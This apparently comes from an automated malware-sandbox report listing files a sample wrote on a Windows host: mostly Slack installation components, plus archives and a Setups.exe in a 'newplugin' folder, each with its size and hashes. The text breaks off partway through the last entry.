        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll

          Filesize

          2.8MB

          MD5

          667acfb13bd054da2268b2b75717e431

          SHA1

          6ec7668402863afef51f75ac3b1b7db212a003bb

          SHA256

          ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59

          SHA512

          1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll

          Filesize

          2.8MB

          MD5

          667acfb13bd054da2268b2b75717e431

          SHA1

          6ec7668402863afef51f75ac3b1b7db212a003bb

          SHA256

          ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59

          SHA512

          1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\icudtl.dat

          Filesize

          10.1MB

          MD5

          d89ce8c00659d8e5d408c696ee087ce3

          SHA1

          49fc8109960be3bb32c06c3d1256cb66dded19a8

          SHA256

          9dfbe0dad5c7021cfe8df7f52458c422cbc5be9e16ff33ec90665bb1e3f182de

          SHA512

          db097ce3eb9e132d0444df79b167a7dcb2df31effbbd3df72da3d24ae2230cc5213c6df5e575985a9918fbd0a6576e335b6ebc12b6258bc93fa205399de64c37

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\libEGL.dll

          Filesize

          479KB

          MD5

          de39e509e1cb3dc2240b05715fa61447

          SHA1

          ea6340dd399b3cde8801accf2c5a97258844d245

          SHA256

          0d4de65f46c9a2081ab898a7f39f48d4215d881e22b5b57cf6fc1d23248707d4

          SHA512

          fbf8dd8b1b60062bde4dce1111b113d3395a5dfc067b338bc26a5f4273895d9bf1161a389ad2732fd1a1bf739f0e27530fb950bb54de22c87418003b6182a139

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\libGLESv2.dll

          Filesize

          7.3MB

          MD5

          b6bb7c1966cfad52ca2dbdc96439a513

          SHA1

          683b64ebf7eb6ca213489061312d66312c514fb0

          SHA256

          2ffc6d3777febba55f1c209b4ef9580a0ba5e331a785abae77c6beec5bc75370

          SHA512

          6b9f39a3f91652413904f7cb00123b1c554dc903e10d8c840724cfa0de4c8d9a37896894d7d7b89c2f272bcc2d43754137aa177c3434d5c9f7ec9d312576dfd4

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\libegl.dll

          Filesize

          479KB

          MD5

          de39e509e1cb3dc2240b05715fa61447

          SHA1

          ea6340dd399b3cde8801accf2c5a97258844d245

          SHA256

          0d4de65f46c9a2081ab898a7f39f48d4215d881e22b5b57cf6fc1d23248707d4

          SHA512

          fbf8dd8b1b60062bde4dce1111b113d3395a5dfc067b338bc26a5f4273895d9bf1161a389ad2732fd1a1bf739f0e27530fb950bb54de22c87418003b6182a139

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\libglesv2.dll

          Filesize

          7.3MB

          MD5

          b6bb7c1966cfad52ca2dbdc96439a513

          SHA1

          683b64ebf7eb6ca213489061312d66312c514fb0

          SHA256

          2ffc6d3777febba55f1c209b4ef9580a0ba5e331a785abae77c6beec5bc75370

          SHA512

          6b9f39a3f91652413904f7cb00123b1c554dc903e10d8c840724cfa0de4c8d9a37896894d7d7b89c2f272bcc2d43754137aa177c3434d5c9f7ec9d312576dfd4

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\locales\en-US.pak

          Filesize

          338KB

          MD5

          5e3813e616a101e4a169b05f40879a62

          SHA1

          615e4d94f69625dda81dfaec7f14e9ee320a2884

          SHA256

          4d207c5c202c19c4daca3fddb2ae4f747f943a8faf86a947eef580e2f2aee687

          SHA512

          764a271a9cfb674cce41ee7aed0ad75f640ce869efd3c865d1b2d046c9638f4e8d9863a386eba098f5dcedd20ea98bad8bca158b68eb4bdd606d683f31227594

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources.pak

          Filesize

          5.0MB

          MD5

          c2b9f8256a070f23a2bac3457198657b

          SHA1

          8a6c14bfe8149476baf407e3695a78863aa35fd9

          SHA256

          b5ab9cbb8b4f5fb9a3b2f15989a8522d3985c2b4260b1ace9b4edb5173f10deb

          SHA512

          37bf0e2f1b2bc700519ac7b4fa023611f88a8338d9b303988e1ba37345c1f2199750e60a9cc1e8b3f34c37b78ca5a9ca1f02086755d6fe3d6c5aafeae449c66e

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\VisualElementsManifest.xml

          Filesize

          314B

          MD5

          d1b2fb317f2f8eaf3a07a79061acf890

          SHA1

          693495e7797924e9ad50fce0a09b46d63c6a4ece

          SHA256

          51f5127ee82e46fabb3a732b9a24e5b0707be789739ee189e13d9e412d88608e

          SHA512

          0a6c810f2a6ae39a15a01826b82cff16505ba614ad968b385e9785b81e55a886e6ba90e7f5f228ebafa6a477b69bcc680eb210091d9804111dcbf7a2f5082a99

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar

          Filesize

          19.0MB

          MD5

          7189a1576e986aaecaa1300808d5d95a

          SHA1

          6268196a1b94b3465a8e8c813e8907d888ef28a2

          SHA256

          bf2be37cc7088fe58661cd160c8ea54c6490c925bfc2af2744ba0f7bd08561eb

          SHA512

          bbf50b20a7d08ea8ed38617d45f00acbd1f61172c2557efae164036a7f0a770264d7682f28b34c1d90765a5f64ccfbe5afd87f6aa148e674f1c7d7bf93e6a284

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar.unpacked\node_modules\electron-native-auth\build\Release\electron_native_auth.node

          Filesize

          122KB

          MD5

          ca43f4475a5d0a8c157a135b2f708be7

          SHA1

          0a0333ed70fed8e8f4deb5aa41d8fdf388e6b399

          SHA256

          ea725d736aa8f6ac8cc3f9a6d1c1e0d4172c556e151f0ac1216221c0d7e59e5b

          SHA512

          336cbb72abb22711ca1e874debc94218aee602991ca66927f6ed705b5191bb30e4de639f663c15626b103b2fb75b801838f96bb9974b2a14d8c3af0431dc1e7b

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar.unpacked\node_modules\electron-native-auth\build\Release\electron_native_auth.node

          Filesize

          122KB

          MD5

          ca43f4475a5d0a8c157a135b2f708be7

          SHA1

          0a0333ed70fed8e8f4deb5aa41d8fdf388e6b399

          SHA256

          ea725d736aa8f6ac8cc3f9a6d1c1e0d4172c556e151f0ac1216221c0d7e59e5b

          SHA512

          336cbb72abb22711ca1e874debc94218aee602991ca66927f6ed705b5191bb30e4de639f663c15626b103b2fb75b801838f96bb9974b2a14d8c3af0431dc1e7b

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar.unpacked\node_modules\electron-native-auth\build\Release\electron_native_auth.node

          Filesize

          122KB

          MD5

          ca43f4475a5d0a8c157a135b2f708be7

          SHA1

          0a0333ed70fed8e8f4deb5aa41d8fdf388e6b399

          SHA256

          ea725d736aa8f6ac8cc3f9a6d1c1e0d4172c556e151f0ac1216221c0d7e59e5b

          SHA512

          336cbb72abb22711ca1e874debc94218aee602991ca66927f6ed705b5191bb30e4de639f663c15626b103b2fb75b801838f96bb9974b2a14d8c3af0431dc1e7b

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar.unpacked\node_modules\registry-js\build\Release\registry.node

          Filesize

          623KB

          MD5

          3f54ec3cb92274e2e8a7afcb5650c1f0

          SHA1

          27e64753955377b751b77a1ec5084d36c601bd62

          SHA256

          2c6cb9af21b9930ca5c307f1671f73f475c2262a2648262e5b24fdb9a43cc75c

          SHA512

          ee6fa02d6c01a34ebe8ab275901308aea45ae8644c2205c2b24165567c461a53b94e411df70aef634bba939c07da39385a8bc8e84531f0e6ed517c271306b5df

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar.unpacked\node_modules\registry-js\build\Release\registry.node

          Filesize

          623KB

          MD5

          3f54ec3cb92274e2e8a7afcb5650c1f0

          SHA1

          27e64753955377b751b77a1ec5084d36c601bd62

          SHA256

          2c6cb9af21b9930ca5c307f1671f73f475c2262a2648262e5b24fdb9a43cc75c

          SHA512

          ee6fa02d6c01a34ebe8ab275901308aea45ae8644c2205c2b24165567c461a53b94e411df70aef634bba939c07da39385a8bc8e84531f0e6ed517c271306b5df

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar.unpacked\node_modules\registry-js\build\Release\registry.node

          Filesize

          623KB

          MD5

          3f54ec3cb92274e2e8a7afcb5650c1f0

          SHA1

          27e64753955377b751b77a1ec5084d36c601bd62

          SHA256

          2c6cb9af21b9930ca5c307f1671f73f475c2262a2648262e5b24fdb9a43cc75c

          SHA512

          ee6fa02d6c01a34ebe8ab275901308aea45ae8644c2205c2b24165567c461a53b94e411df70aef634bba939c07da39385a8bc8e84531f0e6ed517c271306b5df

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\slack.VisualElementsManifest.xml

          Filesize

          407B

          MD5

          64e933897ecea5537bcc5acabd16fec0

          SHA1

          6fac862cbf5a2b7e8e9b6356ea3b75d420f5f527

          SHA256

          c29a25b7452330fe4e4b85beaabc229ae788608f56abb6c831a664ca868349e5

          SHA512

          ec04604a9ec1462f7c3a01dcafcbad89278480394deb5ba418617fbb086a22753845ad165c7f8468512ec9e515468b4a223715c443f19f55e9a0e6550aade1b1

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe

          Filesize

          154.6MB

          MD5

          6a2da8a78a74f54e5f2eb09dfb58ea15

          SHA1

          639c39d65d776fbb7f1edeab291606d8e5eaabec

          SHA256

          55bd03882f4925fb4f99553e27fb8198c5a20e49780639fe788dc12bd1cca88f

          SHA512

          a8cb2fb3609ecec58f60350f6d1b11f3060b2f9d0781f9dc4d23cc155efcec9eaceca2f16c9acba61591af65fe40486338bf96bfadab13cc21dbec3f4a130f97

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe

          Filesize

          154.6MB

          MD5

          6a2da8a78a74f54e5f2eb09dfb58ea15

          SHA1

          639c39d65d776fbb7f1edeab291606d8e5eaabec

          SHA256

          55bd03882f4925fb4f99553e27fb8198c5a20e49780639fe788dc12bd1cca88f

          SHA512

          a8cb2fb3609ecec58f60350f6d1b11f3060b2f9d0781f9dc4d23cc155efcec9eaceca2f16c9acba61591af65fe40486338bf96bfadab13cc21dbec3f4a130f97

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe

          Filesize

          154.6MB

          MD5

          6a2da8a78a74f54e5f2eb09dfb58ea15

          SHA1

          639c39d65d776fbb7f1edeab291606d8e5eaabec

          SHA256

          55bd03882f4925fb4f99553e27fb8198c5a20e49780639fe788dc12bd1cca88f

          SHA512

          a8cb2fb3609ecec58f60350f6d1b11f3060b2f9d0781f9dc4d23cc155efcec9eaceca2f16c9acba61591af65fe40486338bf96bfadab13cc21dbec3f4a130f97

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe

          Filesize

          154.6MB

          MD5

          6a2da8a78a74f54e5f2eb09dfb58ea15

          SHA1

          639c39d65d776fbb7f1edeab291606d8e5eaabec

          SHA256

          55bd03882f4925fb4f99553e27fb8198c5a20e49780639fe788dc12bd1cca88f

          SHA512

          a8cb2fb3609ecec58f60350f6d1b11f3060b2f9d0781f9dc4d23cc155efcec9eaceca2f16c9acba61591af65fe40486338bf96bfadab13cc21dbec3f4a130f97

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe

          Filesize

          154.6MB

          MD5

          6a2da8a78a74f54e5f2eb09dfb58ea15

          SHA1

          639c39d65d776fbb7f1edeab291606d8e5eaabec

          SHA256

          55bd03882f4925fb4f99553e27fb8198c5a20e49780639fe788dc12bd1cca88f

          SHA512

          a8cb2fb3609ecec58f60350f6d1b11f3060b2f9d0781f9dc4d23cc155efcec9eaceca2f16c9acba61591af65fe40486338bf96bfadab13cc21dbec3f4a130f97

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe

          Filesize

          154.6MB

          MD5

          6a2da8a78a74f54e5f2eb09dfb58ea15

          SHA1

          639c39d65d776fbb7f1edeab291606d8e5eaabec

          SHA256

          55bd03882f4925fb4f99553e27fb8198c5a20e49780639fe788dc12bd1cca88f

          SHA512

          a8cb2fb3609ecec58f60350f6d1b11f3060b2f9d0781f9dc4d23cc155efcec9eaceca2f16c9acba61591af65fe40486338bf96bfadab13cc21dbec3f4a130f97

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\squirrel.exe

          Filesize

          1.5MB

          MD5

          43715fc94ef95ad33ec16484342c0148

          SHA1

          8caeaf946e85bcc05fcf63e2f1054e4e23671cee

          SHA256

          910042aa9bcdc62227ea2bd731a0d15c25566f26c92f649049c1d9c7fc15179e

          SHA512

          bec557cb86d4a0562603b81a29e0f6ae9661cb8dd2f9bb062f5f8298260cdb5d52736bcb06479e4ab7a51dbd3a5b17b9746b2012cd2eee97882345e2b73897c1

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\squirrel.exe

          Filesize

          1.5MB

          MD5

          43715fc94ef95ad33ec16484342c0148

          SHA1

          8caeaf946e85bcc05fcf63e2f1054e4e23671cee

          SHA256

          910042aa9bcdc62227ea2bd731a0d15c25566f26c92f649049c1d9c7fc15179e

          SHA512

          bec557cb86d4a0562603b81a29e0f6ae9661cb8dd2f9bb062f5f8298260cdb5d52736bcb06479e4ab7a51dbd3a5b17b9746b2012cd2eee97882345e2b73897c1

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\v8_context_snapshot.bin

          Filesize

          574KB

          MD5

          4cd37ea771ea4fe2f3ad46217cc02206

          SHA1

          31680e26869b007e62550e96dbf846b3980d5b2b

          SHA256

          95f7b8664306da8d0073a795e86590ed6fdaede5f489132e56c8779f53cf1ed5

          SHA512

          e1369734cbe17aaf6dd3ceefb57f056c5a9346d2887a7d3ee7ed177386d7f5e624407869d53902b56ab350e4ded5612c3b0f52c2dd3efa307e9947701068a2a0

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\vulkan-1.dll

          Filesize

          916KB

          MD5

          e7d99fb2b82fd6399a3a324541b849cc

          SHA1

          543b1ee05ce30195bbd4ef2239a9cf847db165f7

          SHA256

          904617651aca62f13fb5500501a386a16a9ae5310847d68abec3d87e6f9fd00f

          SHA512

          c0f3f3b00ccfef1d08c11df6a10cdad2ca732347427fe05329b34f58cc080d183628699388c9e8bd77363023adc819d643f77e373a5a8a516b46c0a9e94bf676

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\vulkan-1.dll

          Filesize

          916KB

          MD5

          e7d99fb2b82fd6399a3a324541b849cc

          SHA1

          543b1ee05ce30195bbd4ef2239a9cf847db165f7

          SHA256

          904617651aca62f13fb5500501a386a16a9ae5310847d68abec3d87e6f9fd00f

          SHA512

          c0f3f3b00ccfef1d08c11df6a10cdad2ca732347427fe05329b34f58cc080d183628699388c9e8bd77363023adc819d643f77e373a5a8a516b46c0a9e94bf676

        • C:\Users\Admin\AppData\Local\slack\packages\RELEASES

          Filesize

          79B

          MD5

          5f85754370ef415f61b2f9b21ab4022a

          SHA1

          dbae97429f52dfb0a92e6235a1174b91670a1dcd

          SHA256

          57c1991670227592a1bed24877706b7ed6ee28efc1f8ec70ddb8527938a86293

          SHA512

          f1668fe191bc1de1ea818f211cde1180f93947eff31a805b8ca7adb1b138dbe307bd1497c9c00868768a334d13b1b25710e260441ed300af26200e02bdf65527

        • C:\Users\Admin\AppData\Local\slack\packages\RELEASES

          Filesize

          79B

          MD5

          5f85754370ef415f61b2f9b21ab4022a

          SHA1

          dbae97429f52dfb0a92e6235a1174b91670a1dcd

          SHA256

          57c1991670227592a1bed24877706b7ed6ee28efc1f8ec70ddb8527938a86293

          SHA512

          f1668fe191bc1de1ea818f211cde1180f93947eff31a805b8ca7adb1b138dbe307bd1497c9c00868768a334d13b1b25710e260441ed300af26200e02bdf65527

        • C:\Users\Admin\AppData\Local\slack\packages\slack-4.32.122-full.nupkg

          Filesize

          109.3MB

          MD5

          aad01b0ab5785397206a9b1087dca556

          SHA1

          291a2f0d5a1c0721056d38155a1e5d79f255a812

          SHA256

          fc0412e3e8d4fabc7f3c67f9b5706fe7d34ee8552488f540967923c854505a64

          SHA512

          5311d193d16fa00be385783750ba2c4d60f4dbaa0912cf0810851e15333df185353f50aca8d723fdc96f914caba46feac4c1f95acd95a3386f9423b9571b7381

        • C:\Users\Admin\AppData\Local\slack\slack.exe

          Filesize

          303KB

          MD5

          4c042fe13858cfa9db590918beb23be4

          SHA1

          d7301f53aaced528c0fd750b704d36628e9a79f7

          SHA256

          8fd5e2275231ebeaaaa3c99c62a98528b1078a7248b0efb7e358262ff0429c48

          SHA512

          0c1ac5ee72d7db3d87bbfe0e96978fc6c1ceb8c6e96c012a0725bbd3f66f677d4a34a4e1ca522d5d3eb7ccb749408dd58d2f6605ae7b0d498cfbfe5de78cfe26

        • C:\Users\Admin\AppData\Local\slack\update.exe

          Filesize

          1.5MB

          MD5

          108ca1dd522e8c43805a52625316de04

          SHA1

          4182ca223594aa6a9a1befcec31aaf61c77ca1fa

          SHA256

          d1a747f68d2d740b672430b380f0748feceab80e630a4002356de2f0ef233f00

          SHA512

          046a54d71b75d96d7b90d059c7a9bab7591ae93eb57ab6bd7e3b88617442d4f362e3d1f289e1c1f45888b59905d9117717da9f3059c8a3b06fb551ce14bd9ce8

        • C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic

          Filesize

          2B

          MD5

          f3b25701fe362ec84616a93a45ce9998

          SHA1

          d62636d8caec13f04e28442a0a6fa1afeb024bbb

          SHA256

          b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

          SHA512

          98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

        • C:\Users\Admin\AppData\Roaming\Slack\Code Cache\js\index-dir\the-real-index

          Filesize

          144B

          MD5

          59b86a3a12c2d002bdf43f7f03587ffa

          SHA1

          3c953acffbb7f7938082f0961974fec232503a4b

          SHA256

          41f3e6b8f0027baaf68ffc7c624037223db22af48b2c6ad3c1e31dcd851e220a

          SHA512

          c6cba4756e19017b82a3e84c57df75e107e34a613f3fa552ac006d884a43818735db4e6ec4a49d7664703747211f273d29c653d5e6c923fc70a8378e7b4b720b

        • C:\Users\Admin\AppData\Roaming\Slack\Code Cache\js\index-dir\the-real-index~RFe583ca6.TMP

          Filesize

          48B

          MD5

          b89e816ee8c5fa861703efb9f470596b

          SHA1

          7b2047c65becbfd7e5b82678fe6ae084c4db76cc

          SHA256

          3e21a9d21995177d3cf758f72ae38cb83c700d5613e7851db3d5b7d78b331e3d

          SHA512

          374a8f3c5539ffd491895720a37d5664505fcf284d2cdc90538107235356336e4e9f4e542c69c8e31912d1de2a377df174eff5eaf959a0dff8c3205b49f96126

        • C:\Users\Admin\AppData\Roaming\Slack\DawnCache\data_0

          Filesize

          8KB

          MD5

          cf89d16bb9107c631daabf0c0ee58efb

          SHA1

          3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

          SHA256

          d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

          SHA512

          8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

        • C:\Users\Admin\AppData\Roaming\Slack\DawnCache\data_1

          Filesize

          264KB

          MD5

          f50f89a0a91564d0b8a211f8921aa7de

          SHA1

          112403a17dd69d5b9018b8cede023cb3b54eab7d

          SHA256

          b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

          SHA512

          bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

        • C:\Users\Admin\AppData\Roaming\Slack\DawnCache\data_2

          Filesize

          8KB

          MD5

          0962291d6d367570bee5454721c17e11

          SHA1

          59d10a893ef321a706a9255176761366115bedcb

          SHA256

          ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

          SHA512

          f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

        • C:\Users\Admin\AppData\Roaming\Slack\DawnCache\data_3

          Filesize

          8KB

          MD5

          41876349cb12d6db992f1309f22df3f0

          SHA1

          5cf26b3420fc0302cd0a71e8d029739b8765be27

          SHA256

          e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

          SHA512

          e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

        • C:\Users\Admin\AppData\Roaming\Slack\Network\Network Persistent State

          Filesize

          614B

          MD5

          31ce42735cb840e8919aa8889f643c93

          SHA1

          3b7f29cbf9115f1f9824f9bcb17fd233f7d1b52b

          SHA256

          ef0d0bc2704fbd10d9247b358d0a5c37e7f236c7cc4ede79746b33518516b55b

          SHA512

          206dbea3454af1b1b72c067b4274829315ba3a797d74c9d63d3060acabfdf5272526df58ec29698a63912492d8d2c5dd0eac7cbac7f13ddd8a6d2421fdcf3ac5

        • C:\Users\Admin\AppData\Roaming\Slack\Network\Network Persistent State~RFe58ee82.TMP

          Filesize

          59B

          MD5

          2800881c775077e1c4b6e06bf4676de4

          SHA1

          2873631068c8b3b9495638c865915be822442c8b

          SHA256

          226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974

          SHA512

          e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b

        • C:\Users\Admin\AppData\Roaming\Slack\Network\TransportSecurity

          Filesize

          522B

          MD5

          aff12b03db68e1bab03bc0a1f7d01e54

          SHA1

          04251ff1bd324a9310bbf690e76cd5bab8b73607

          SHA256

          29e48fe6b565e98571603784241f294ee9d395b233c30916604c21ca0e05849a

          SHA512

          42c6c44b690b6db444d8609a310ab08a2755e526bbc093354e78c135a1d652a27b8a124c05516b82a03be8f8872ac3f86db1f34c49cd207807c99eecab0c81dd

        • C:\Users\Admin\AppData\Roaming\Slack\Network\TransportSecurity

          Filesize

          522B

          MD5

          e32348b643214dae2fa9033a2e8594a6

          SHA1

          480482fc8b231f20034fa19d211feef2c08bec18

          SHA256

          02a43b42d5fbb7bb8fd4f40dca92dc6529ed7fdb2e14e2a6cf4c6f0aa2c27dd2

          SHA512

          ecfd6d94564a97283247253e0a0a115f4f984f87052c5ac727b9796aa2d7364d00a16d1379aa3928462fb34e530c661fd741e256a7116074fdb5e74931a38190

        • C:\Users\Admin\AppData\Roaming\Slack\Network\TransportSecurity~RFe5896fb.TMP

          Filesize

          522B

          MD5

          7c413cc4215f6a181fd86464ab837c7f

          SHA1

          605dcf7db01b664503346f6d1e41e8f7b3958457

          SHA256

          81c3cdcbff09bc4fa865494d9c787d05a7e83374b055fda28e13d6d6a5dff151

          SHA512

          5ee63a2336dea1cc680248d198ef6374cfeb3058225c439f069b8acd3c471095d2db92f2af3a4939106d996916c57ece1414a281e777688c1d47d33488710e5a

        • C:\Users\Admin\AppData\Roaming\Slack\Session Storage\CURRENT

          Filesize

          16B

          MD5

          46295cac801e5d4857d09837238a6394

          SHA1

          44e0fa1b517dbf802b18faf0785eeea6ac51594b

          SHA256

          0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

          SHA512

          8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

        • C:\Users\Admin\AppData\Roaming\Slack\local-settings.json

          Filesize

          39B

          MD5

          7bfc3641e823cf3505b3753f6bc1b019

          SHA1

          ed86adde6366afed961644f7e1f4a22f588ac624

          SHA256

          dff6818b1484bef303f9940d7c92d8b49efc58dfad79eb23e2beb5be0c16c6b9

          SHA512

          5ea8f710cb000352533ff6de9d027c9d826047cd101e44a1f8af686a6d21480d0d0797a5152de70e4f70a0e47d01ab3f313e27baa20021c9c69e181e22d9e5a8

        • C:\Users\Admin\AppData\Roaming\Slack\local-settings.json.2743717176

          Filesize

          39B

          MD5

          7bfc3641e823cf3505b3753f6bc1b019

          SHA1

          ed86adde6366afed961644f7e1f4a22f588ac624

          SHA256

          dff6818b1484bef303f9940d7c92d8b49efc58dfad79eb23e2beb5be0c16c6b9

          SHA512

          5ea8f710cb000352533ff6de9d027c9d826047cd101e44a1f8af686a6d21480d0d0797a5152de70e4f70a0e47d01ab3f313e27baa20021c9c69e181e22d9e5a8

        • C:\Users\Admin\AppData\Roaming\Slack\logs\default\browser.log

          Filesize

          856B

          MD5

          207f91c2346edcbd6b755dd3d73a23e9

          SHA1

          2c036eddb57c9d33bb20452a95745704008ffeb1

          SHA256

          a0ce169900b68aa1dbd9c48bb1a4a297c60ce9084ebffe26ebcd1a588ed42487

          SHA512

          3dfff45ed81eceb8f673343f86166d8dd582b1e046e5fad64ab6a58faf57cde8c5ca323c33e63dfddd8bbbfce680de70fbec3e5fbfd1072b61701e9210eec79c

        • C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log

          Filesize

          2KB

          MD5

          556f74b5115a140863b594c8261df457

          SHA1

          863931d4997629d8ba7610b3b4b323529654333c

          SHA256

          62367c9e03557f49612b216691274733b3ac30faae2ed655c6404d41a1059e6f

          SHA512

          9f1b143e8fef5d9b00c53b4b200d47f00531d1061f1ea55e8be925dbc17642b7d463e9464d9afea98e25b1ea0bf8b7c4d86615a77d39ed1294112e518fb5d696

        • C:\Users\Admin\AppData\Roaming\Slack\storage\root-state.json

          Filesize

          3KB

          MD5

          e83f1a1ab3ccdf72117043fc5fe8aef6

          SHA1

          4cd63d482665a4a824bcb987fc9d7f63710374b2

          SHA256

          c4f627d0f8148d92da672e40db96f6c5d5cb1b59ff8394a37d5c3e9d94e39366

          SHA512

          c02eb0459327d8f1ebacf54fe879a2f92097ca504ca040ad115d8978169522579c466e86e0e21fe932d9027617531b54c9f47a4a71247dc6bea46c7087b6918e

        • C:\Users\Admin\AppData\Roaming\WinRAR\version.dat

          Filesize

          12B

          MD5

          6379a0badca61aaf2c9bf1963f47e754

          SHA1

          6452e14995d32ddba5f2b2146b40415d7fbe9574

          SHA256

          13049f4fd19f97ecf48f94b501a90753d6adc1a7b8b886cf283e08ba606e415f

          SHA512

          10b86cd6b09a79038c0130ab85410d55ef68f66866d9557dabd51241e32f93216e120ec5996d4259683f7b0fb5e68fdd107a61268b7469b3c060114ded12b277

        • C:\Users\Admin\AppData\Roaming\newplugin\01pluginsrbtry.rar

          Filesize

          6.3MB

          MD5

          2e256db2ef6277c28fe79f00cf1dc58c

          SHA1

          3cd15f2d63100ce58a73192d41a8cab110a5c37a

          SHA256

          fa7b7894b347b9be34a18f07b97706095c35bd1c64a2147a00ca02dc2b6c6e0e

          SHA512

          91015d29d43ab042ee972b497f49b8fbb383dc31093c4774508da23ae9bd4fbaf103f63e198945394ecf1678f3d80911a5e59c09b20e32f958c46227bbe529cb

        • C:\Users\Admin\AppData\Roaming\newplugin\02pluginsgerge.rar

          Filesize

          9.0MB

          MD5

          5a871adeb4e29e46ba09032948388c52

          SHA1

          bef519344c19d807c67fed640c4759d6767b88be

          SHA256

          b65d454c070dd28c88d2cf705140bd7b6b4c2096f11fb4f3da20c66251f8b3ba

          SHA512

          1d4d9c37dd47f51b004a11e3df1ca6d4303a9a3d5c8279d98dd49f45bd7753aafbffdcc934573509041590cf64d2854743f4d3f18845650ddccaa9d32ef07632

        • C:\Users\Admin\AppData\Roaming\newplugin\2plugintbr

          Filesize

          1.9MB

          MD5

          b93f3378c79c53a6aa9c5c5bf39ba732

          SHA1

          af2b262a2a023e62ce53ed5dd3c5a0550d499b12

          SHA256

          6f675f5011bc413bcfdb2de1b083942c8ca3b3fc9a8fc58619fa4c837e6beb9d

          SHA512

          b65f2c221decffbf60a96256118332631143cdb0191faa19c659ac6e7fb1d05466de177b10050c5e22cb8580e0b96938b7239054d98fb284a1fc0fbe4dc909c3

        • C:\Users\Admin\AppData\Roaming\newplugin\Setups.dll

          Filesize

          6KB

          MD5

          edf67a1361911fd2a0d931e2e9f043e0

          SHA1

          89e4a2ad44940df7c685eef3dfd40f394a001612

          SHA256

          5095aeee57add0bc763a48bb8a2fee585627e9e8a235fead60072a5d00d8d0e4

          SHA512

          09754502a3e39ff8c2cd7debef737b17948854846ab5625062adb4ee012c2ce6ada756ac3745978fed26de3c36713a4d20e261e481a058d9dd84b37af52f38df

        • C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe

          Filesize

          364KB

          MD5

          a371421bfe2b541c078fc43b008a4e27

          SHA1

          f74b4931c61a54ea12a10a5b6b48c8bb4dd4706b

          SHA256

          b8f5519f7d66e7940e92f49c9f5f0cac0ae12cc9c9072c5308475bd5d093cdca

          SHA512

          653c62cc43ec2cda143cdce4ee633f6482a780cb83b36dafc9625f3406756909f5d7250b2d6610b57858b3154e7b461fddded2bc20436865d3e59ca88d96b5e8

        • C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe.manifest

          Filesize

          1KB

          MD5

          b18beb30a2debf66c984da288b463059

          SHA1

          e51a204f73b55f8425ab1cc72486bf68a6ba66f0

          SHA256

